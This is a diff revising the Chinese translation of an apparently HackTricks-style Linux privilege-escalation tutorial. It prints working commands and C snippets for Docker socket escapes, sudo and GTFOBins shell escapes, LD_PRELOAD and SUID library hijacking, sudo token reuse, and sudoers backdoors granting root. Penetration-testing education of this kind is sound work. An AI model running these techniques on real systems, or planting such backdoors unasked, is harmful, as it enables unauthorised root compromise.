**indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### 可写的 .socket 文件 +### Writable .socket files -如果你发现一个**可写**的 `.socket` 文件,你可以在 `[Socket]` 部分的开头**添加**类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,backdoor 将在套接字被创建之前执行。因此,你**可能需要等待机器重启。**\ +如果你找到一个**可写的** `.socket` 文件,你可以在 `[Socket]` 区段的开头**添加**类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,backdoor 会在 socket 被创建之前执行。因此,你**可能需要等到机器重启**。\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### 可写的套接字 +### Writable sockets -如果你**发现任何可写的套接字**(_这里我们指的是 Unix Sockets,而不是配置的 `.socket` 文件_),那么**你可以与该套接字进行通信**,并可能利用其中的漏洞。 +如果你**发现任何可写的 socket**(_这里说的是 Unix Sockets,而不是配置 `.socket` 文件_),那么你**可以与该 socket 进行通信**,并可能利用某个漏洞。 -### 枚举 Unix 套接字 +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -507,48 +539,48 @@ socket-command-injection.md ### HTTP sockets -注意,可能存在一些用于监听 HTTP 请求的 sockets(_我不是指 .socket 文件,而是作为 unix sockets 的文件_)。你可以用下面的命令检查: +注意可能有一些 **sockets listening for HTTP** 请求(_我并不是在说 .socket files,而是指充当 unix sockets 的那些文件_)。你可以使用以下命令检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果该 socket **对 HTTP 请求有响应**,那么你可以**与其通信**,并且可能**利用某些漏洞**。 +如果该 socket **对 HTTP 请求作出响应**,那么你可以**与其通信**,并有可能**利用某些漏洞**。 ### 可写的 Docker Socket -Docker socket,通常位于 `/var/run/docker.sock`,是一个需要保护的重要文件。默认情况下,它对 `root` 用户和 `docker` 组的成员可写。拥有对该 socket 的写权限可能导致权限提升。下面是如何实现以及在无法使用 Docker CLI 时的替代方法的分解说明。 +Docker socket(通常位于 `/var/run/docker.sock`)是一个关键文件,应当加以保护。默认情况下,该文件对 `root` 用户及 `docker` 组的成员是可写的。对该 socket 拥有写权限可能导致权限提升。下面是如何利用该权限的分解步骤,以及在无法使用 Docker CLI 时的替代方法。 -#### **Privilege Escalation with Docker CLI** +#### **使用 Docker CLI 进行 权限提升** 如果你对 Docker socket 拥有写权限,你可以使用以下命令提升权限: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个容器,从而以 root 权限访问宿主机文件系统。 +这些命令允许你运行一个容器,从而以 root 级别访问主机的文件系统。 -#### **Using Docker API Directly** +#### **直接使用 Docker API** -在 Docker CLI 不可用的情况下,仍可以使用 Docker API 和 `curl` 命令操作 Docker socket。 +在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker socket。 -1. **List Docker Images:** 检索可用镜像列表。 +1. **列出 Docker 镜像:** 获取可用镜像列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** 发送请求创建一个挂载宿主机根目录的容器。 +2. **创建容器:** 发送请求创建一个挂载主机根目录的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +启动新创建的容器: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** 使用 `socat` 建立与容器的连接,从而可以在其中执行命令。 +3. **附加到容器:** 使用 `socat` 与容器建立连接,从而在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,32 +590,29 @@ Connection: Upgrade Upgrade: tcp ``` -在建立 `socat` 连接后,你可以直接在容器内执行命令,并以 root 级别访问宿主机的文件系统。 +在建立好 `socat` 连接后,你可以直接在容器内执行命令,并以 root 权限访问主机文件系统。 -### Others +### 其他 -注意,如果你对 docker socket 有写权限,因为你位于组 `docker` 内,你将有[**更多提权方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在端口监听**,你也可能能够攻破它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 - -在以下位置查看**更多从 docker 逃逸或滥用以提权的方法**: +注意,如果你对 docker socket 有写权限,因为你 **属于 `docker` 组**,你有[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +查看 **更多从 docker 逃逸或滥用它以提升权限的方法**: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) 提权 - -如果你发现可以使用 **`ctr`** 命令,请阅读以下页面,**因为你可能能够滥用它来提权**: +## Containerd (ctr) 权限提升 +如果你发现可以使用 **`ctr`** 命令,请阅读以下页面,因为**你可能能够滥用它以提升权限**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** 提权 - -如果你发现可以使用 **`runc`** 命令,请阅读以下页面,**因为你可能能够滥用它来提权**: +## **RunC** 权限提升 +如果你发现可以使用 **`runc`** 命令,请阅读以下页面,因为**你可能能够滥用它以提升权限**: {{#ref}} runc-privilege-escalation.md @@ -591,15 +620,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的进程间通信 (IPC) 系统,允许应用程序高效地交互和共享数据。它为现代 Linux 系统设计,提供了一个用于不同形式应用间通信的稳健框架。 +D-Bus 是一个复杂的 **inter-Process Communication (IPC) 系统**,使得应用能够高效地交互和共享数据。它针对现代 Linux 系统设计,提供了一个强大的框架以支持各种应用间通信形式。 -该系统功能多样,支持增强进程间数据交换的基本 IPC,类似于增强版的 UNIX 域套接字。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,Bluetooth 守护进程关于来电的信号可以促使音乐播放器静音,以改善用户体验。另一个方面,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,优化了传统上较为复杂的流程。 +该系统功能多样,既支持增强进程间数据交换的基础 IPC(类似于增强版的 UNIX domain sockets),也支持广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth daemon 的来电信号可以促使音乐播放器静音,从而改善用户体验。此外,D-Bus 还支持远程对象系统,简化应用间的服务请求和方法调用,使传统上复杂的流程得以简化。 -D-Bus 基于允许/拒绝模型运行,基于匹配策略规则的累积效果来管理消息权限(方法调用、信号发射等)。这些策略指定了与总线的交互,可能通过滥用这些权限导致提权。 +D-Bus 采用 **allow/deny model**,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发送等)。这些策略指定了与 bus 的交互,可能会通过滥用这些权限导致权限提升。 -在 /etc/dbus-1/system.d/wpa_supplicant.conf 中提供了这样的策略示例,详细说明了 root 用户拥有、发送给和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 +在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样的策略示例,详细说明了 root 用户对 `fi.w1.wpa_supplicant1` 的拥有、发送和接收消息的权限。 -未指定用户或组的策略普遍适用,而“default”上下文策略适用于所有未被其他特定策略覆盖的情况。 +未指定用户或组的策略适用于所有主体,而标记为“default”的上下文策略适用于未被其他特定策略覆盖的所有对象。 ```xml @@ -608,7 +637,7 @@ D-Bus 基于允许/拒绝模型运行,基于匹配策略规则的累积效果 ``` -**在这里学习如何对 D-Bus 通信进行 enumerate 和 exploit:** +**在此学习如何枚举并利用 D-Bus 通信:** {{#ref}} @@ -617,9 +646,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -通常值得对网络进行 enumerate 并弄清主机的位置。 +枚举网络并确定该主机的位置总是很有意义。 -### 通用 enumeration +### 通用枚举 ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -644,14 +673,14 @@ lsof -i ``` ### 开放端口 -在访问机器之前,始终检查在该机器上运行但你之前无法与之交互的网络服务: +始终检查机器上运行的网络服务,尤其是那些在获得访问权限之前无法与之交互的服务: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查是否能 sniff traffic。 如果可以,你可能能够获取一些 credentials。 +检查是否可以 sniff traffic。如果可以,你可能能够获取一些凭证。 ``` timeout 1 tcpdump ``` @@ -659,7 +688,7 @@ timeout 1 tcpdump ### 通用枚举 -检查你是 **who**,你拥有哪些 **privileges**,系统中有哪些 **users**,哪些可以 **login**,以及哪些拥有 **root privileges**: +检查你是**谁**,你拥有哪些**权限**,系统中有哪些**用户**,哪些可以**login**,以及哪些具有**root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,21 +710,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### 大 UID -某些 Linux 版本受到一个漏洞影响,允许具有 **UID > INT_MAX** 的用户提权。More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**利用它** 使用: **`systemd-run -t /bin/bash`** +一些 Linux 版本受到一个漏洞影响,该漏洞允许 UID > INT_MAX 的用户提权。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**利用它** 使用: **`systemd-run -t /bin/bash`** -### Groups +### 组 -检查你是否是可能授予你 root 权限的**某个组的成员**: +检查你是否是 **某个组的成员**,该组可能授予你 root 权限: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### 剪贴板 检查剪贴板中是否有任何有趣的内容(如果可能) ```bash @@ -714,27 +743,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果你 **知道环境中任何密码**,请 **尝试使用该密码登录每个用户**。 +如果你 **知道环境中的任何密码**,**尝试使用该密码登录每个用户**。 ### Su Brute -如果你不介意产生大量噪音并且系统上存在 `su` 和 `timeout` 二进制文件,你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ +如果你不介意制造大量噪音,且计算机上存在 `su` 和 `timeout` 二进制文件,你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 -## 可写的 $PATH 滥用 +## 可写 $PATH 滥用 ### $PATH -如果你发现你可以 **在 $PATH 的某个文件夹中写入**,你可能能够通过 **在可写文件夹中创建 backdoor**,并将其命名为某个将由其他用户(理想情况下为 root)执行的命令,从而提升权限,前提是该命令**不会从位于你的可写文件夹之前的文件夹加载**。 +如果你发现你可以 **在 $PATH 的某个文件夹中写入**,你可能能够通过 **在该可写文件夹中创建一个后门**,并将其命名为某个将由不同用户(理想情况下为 root)执行的命令来提升权限,前提是该命令 **不会从位于你的可写文件夹之前的文件夹中加载**。 ### SUDO and SUID -你可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下命令检查: +你可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下方式检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一些 **意想不到的 commands 允许你读取和/或写入 files 或甚至执行命令。** 例如: +一些 **意想不到的命令允许你读取和/或写入文件,甚至执行命令。** 例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,37 +774,37 @@ less>! ``` ### NOPASSWD -Sudo 配置可能允许用户在不知晓密码的情况下,以另一个用户的权限执行某些命令。 +Sudo 配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh key 添加到 root 目录或调用 `sh` 来获得 shell 非常简单。 +在此示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过在 root 目录中添加一个 ssh key 或调用 `sh` 就可以轻松获得 shell。 ``` sudo vim -c '!sh' ``` ### SETENV -此指令允许用户在执行某些操作时**设置环境变量**: +此指令允许用户在执行命令时 **设置环境变量**: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个示例,**基于 HTB machine Admirer**,**存在漏洞**,可通过 **PYTHONPATH hijacking** 在以 root 身份执行脚本时加载任意 python library: +这个示例,**based on HTB machine Admirer**,**存在漏洞**,可通过 **PYTHONPATH hijacking** 在以 root 身份执行脚本时加载任意 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preserved via sudo env_keep → root shell +### BASH_ENV 通过 sudo env_keep 被保留 → root shell -如果 sudoers 保留了 `BASH_ENV`(例如 `Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互式启动行为,在调用被允许的命令时以 root 身份运行任意代码。 +如果 sudoers 保留 `BASH_ENV`(例如,`Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 运行任意代码。 -- Why it works: 对于非交互式 shell,Bash 会在运行目标脚本之前评估 `$BASH_ENV` 并加载执行该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 sudo 保留了 `BASH_ENV`,你的文件就会以 root 权限被执行。 +- 为什么有效:对于非交互 shell,Bash 会评估 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 sudo 保留了 `BASH_ENV`,你的文件会以 root 权限被 source。 -- Requirements: -- 一个你可以运行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。 -- `BASH_ENV` 出现在 `env_keep` 中(可用 `sudo -l` 检查)。 +- 要求: +- 你可以运行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。 +- `BASH_ENV` 出现在 `env_keep` 中(使用 `sudo -l` 检查)。 - PoC: ```bash @@ -789,12 +818,12 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ ``` - 加固: - 从 `env_keep` 中移除 `BASH_ENV`(和 `ENV`),优先使用 `env_reset`。 -- 避免为允许 `sudo` 的命令使用 shell 包装器;尽量使用最小化的二进制文件。 -- 当保留的环境变量被使用时,考虑对 `sudo` 的 I/O 进行日志记录与告警。 +- 避免为 sudo-allowed commands 使用 shell wrappers;使用尽量精简的二进制程序。 +- 在使用被保留的 env vars 时,考虑启用 sudo I/O 日志记录和告警。 -### Sudo 执行绕过路径 +### 绕过 sudo 执行的路径 -**Jump** 跳转以阅读其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**跳转** 去阅读其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -809,41 +838,41 @@ sudo less /var/log/new #Use symlinks to read any file sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**缓解措施**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary 未指定命令路径 -如果将 **sudo 权限** 授予单个命令且 **未指定路径**: _hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它 +如果将 **sudo 权限** 授予单个命令 **但未指定路径**: _hacker10 ALL= (root) less_ 你可以通过更改 PATH 变量来利用它 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -此技术也可用于当一个 **suid** binary **在不指定路径的情况下执行另一个命令(始终使用** _**strings**_ **检查可疑的 SUID binary 的内容)**。 +如果一个 **suid** 二进制文件 **执行另一条命令但没有指定其路径(总是用** _**strings**_ **检查可疑 SUID 二进制文件的内容)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary 带命令路径 +### SUID binary 指定命令路径 -如果 **suid** binary **执行另一个指定了路径的命令**,则可以尝试 **导出一个函数**,其名称与 suid 文件所调用的命令相同。 +如果 **suid** 二进制 **执行另一个指定了路径的命令**,那么,你可以尝试 **导出一个函数**,命名为 suid 文件所调用的命令。 -例如,如果一个 suid binary 调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出: +例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Then, when you call the suid binary, this function will be executed +然后,当你调用 suid binary 时,这个函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** -环境变量 **LD_PRELOAD** 用来指定一个或多个共享库(.so 文件),由加载器在其他库之前载入,包括标准 C 库(`libc.so`)。这个过程称为预加载库。 +环境变量 **LD_PRELOAD** 用于指定一个或多个共享库(.so 文件),由加载器在其他库之前加载,包括标准 C 库(`libc.so`)。这个过程称为预加载库。 -但是,为了维护系统安全并防止此功能被滥用,尤其是在 **suid/sgid** 可执行文件上,系统施加了某些限制: +但是,为了维护系统安全并防止此功能被滥用,尤其是在 **suid/sgid** 可执行文件上,系统强制执行某些条件: -- 对于 real user ID (_ruid_) 与 effective user ID (_euid_) 不匹配的可执行文件,加载器会忽略 **LD_PRELOAD**。 -- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且自身也是 suid/sgid 的库会被预加载。 +- 当可执行文件的真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配时,加载器会忽略 **LD_PRELOAD**。 +- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同样为 suid/sgid 的库会被预加载。 -如果你能够使用 `sudo` 执行命令,且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**,则可能发生特权提升。这个配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,从而可能导致以提升的权限执行任意代码。 +如果你能够使用 `sudo` 执行命令,并且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD**,则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -860,7 +889,7 @@ setuid(0); system("/bin/bash"); } ``` -然后使用以下命令来**编译它**: +然后使用以下命令**编译它**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -870,7 +899,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者能控制 **LD_LIBRARY_PATH** 环境变量,则可以滥用类似的 privesc,因为攻击者控制了库将被搜索的路径。 +> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,就可以滥用类似的 privesc,因为他控制了库将被搜索的路径。 ```c #include #include @@ -892,13 +921,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -当遇到具有 **SUID** 权限且看起来不寻常的二进制文件时,最好确认它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: +当遇到具有 **SUID** 权限且看起来异常的 binary 时,最好验证它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如,遇到类似错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 表明可能存在 exploitation 的可能性。 +例如,遇到类似错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 表明可能存在被利用的机会。 -要 exploit 这个,可通过创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_, 并包含以下代码: +要利用这一点,可以通过创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,并包含以下代码: ```c #include #include @@ -909,13 +938,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -这段代码在编译并执行后,旨在通过修改文件权限并执行具有提升权限的 shell 来提升权限。 +这段代码在编译并运行后,旨在通过修改文件权限并执行具有提升权限的 shell 来实现提权。 -使用以下命令将上面的 C 文件编译为 shared object (.so) 文件: +使用以下命令将上述 C 文件编译为共享对象 (.so) 文件: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后,运行受影响的 SUID 二进制文件应触发该 exploit,从而可能导致系统遭到妥协。 +最后,运行受影响的 SUID 二进制文件应触发 exploit,从而可能导致系统妥协。 ## Shared Object Hijacking ```bash @@ -927,7 +956,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们已经找到一个会从我们可写的文件夹加载 library 的 SUID binary,就在该文件夹中以所需的名称创建该 library: +既然我们已经找到一个从我们可写的文件夹加载 library 的 SUID binary,现在就在该文件夹中以所需的名称创建该 library: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -940,17 +969,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -如果你遇到类似如下的错误: +如果你遇到如下错误: ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -这意味着你生成的库需要包含一个名为 `a_function_name` 的函数。 +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个精选的 Unix 二进制可执行文件列表,这些文件可能被攻击者利用以绕过本地安全限制。 [**GTFOArgs**](https://gtfoargs.github.io/) 针对只能在命令中 **注入参数** 的情况提供了类似的列表。 +[**GTFOBins**](https://gtfobins.github.io) 是一个整理好的 Unix 二进制文件列表,攻击者可以利用这些二进制文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 与之类似,但针对只能在命令中 **only inject arguments** 的情况。 -该项目收集了 Unix 二进制程序的合法功能,这些功能可能被滥用来逃离受限 shell、提升或保持提升的权限、传输文件、生成 bind 和 reverse shell,以及辅助其它 post-exploitation 任务。 +该项目收集了 Unix 二进制的合法功能,这些功能可能被滥用以突破受限 shell、提升或维持提升的权限、传输文件、生成 bind 和 reverse shells,并辅助其他 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -969,60 +998,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 +如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 检查它是否能找出利用任何 sudo 规则的方法。 ### Reusing Sudo Tokens -在拥有 **sudo access** 但没有密码的情况下,你可以通过**等待某次 sudo 命令执行然后劫持会话令牌**来提升权限。 +在你有 **sudo access** 但没有密码的情况下,你可以通过 **等待某个 sudo 命令执行然后劫持会话 token** 来提升权限。 -Requirements to escalate privileges: +可用于提升权限的前提条件: -- 你已经有一个以用户 _sampleuser_ 身份的 shell -- _sampleuser_ 已**使用 `sudo`**在**最近 15 分钟**内执行过某些命令(默认这是 sudo 令牌允许我们在不输入密码的情况下使用 `sudo` 的持续时间) -- `cat /proc/sys/kernel/yama/ptrace_scope` 的输出为 0 +- 你已经以用户 "_sampleuser_" 获得一个 shell +- "_sampleuser_" 在 **最近 15 分钟内** 有 **使用过 `sudo`** 来执行某些操作(默认 sudo token 的持续时间为 15 分钟,允许我们在此期间使用 `sudo` 而不输入密码) +- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 - `gdb` 可用(你可以上传它) -(你可以临时使用 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 来启用 ptrace_scope,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现) +(你可以临时启用 ptrace_scope: `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来持久化) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足上述所有条件,**你可以使用以下工具提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建名为 `activate_sudo_token` 的二进制文件。你可以用它来**在你的会话中激活 sudo 令牌**(它不会自动给你 root shell,需执行 `sudo su`): +- 第一个 exploit(`exploit.sh`)会在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以用它在你的会话中**激活 sudo token**(这不会自动给你一个 root shell,需要执行 `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **第二个 exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 sh shell,**归 root 所有并带有 setuid** +- 该 **second exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**owned by root with setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- 第三个 **exploit** (`exploit_v3.sh`) 会 **create a sudoers file**,使 **sudo tokens eternal and allows all users to use sudo** +- 该 **第三个 exploit** (`exploit_v3.sh`) 将 **创建 sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你对该文件夹或其下创建的任意文件具有 **写权限**,你可以使用二进制工具 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo token**。\ -例如,如果你能覆盖文件 _/var/run/sudo/ts/sampleuser_,并且以该用户身份拥有 PID 为 1234 的 shell,你可以在不需要知道密码的情况下通过以下方式 **获得 sudo privileges**: +如果你对该文件夹或该文件夹内任何已创建文件拥有 **写权限**,你可以使用二进制程序 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **创建一个 sudo token 给某个用户和 PID**。\ +例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且以该用户身份拥有 PID 为 1234 的 shell,你可以在不需要知道密码的情况下 **获得 sudo 权限**,执行: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 及 `/etc/sudoers.d` 内的文件用来配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认情况下只能由用户 root 和组 root 读取**。\ -**如果**你**可以读取**该文件,可能能够**获取一些有趣的信息**,而如果你**可以写入**任何文件,你将能够**提升权限**。 +文件 `/etc/sudoers` 和 `/etc/sudoers.d` 中的文件配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认只能由用户 root 和组 root 读取**。\ +**如果**你能**读取**这个文件,你可能能够**获取一些有趣的信息**,并且如果你能够**写入**任意文件,你将能够**escalate privileges**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你可以写入,你就可以滥用此权限 +如果你能 write,你就能滥用该权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -滥用这些权限的另一种方式: +滥用这些权限的另一种方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1031,17 +1060,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些替代 `sudo` 的选项,例如 OpenBSD 的 `doas`,请记得检查其配置 `/etc/doas.conf`。 +除了 `sudo` 二进制文件之外,还有一些替代品,例如 OpenBSD 的 `doas`,记得检查其配置,位于 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道某个 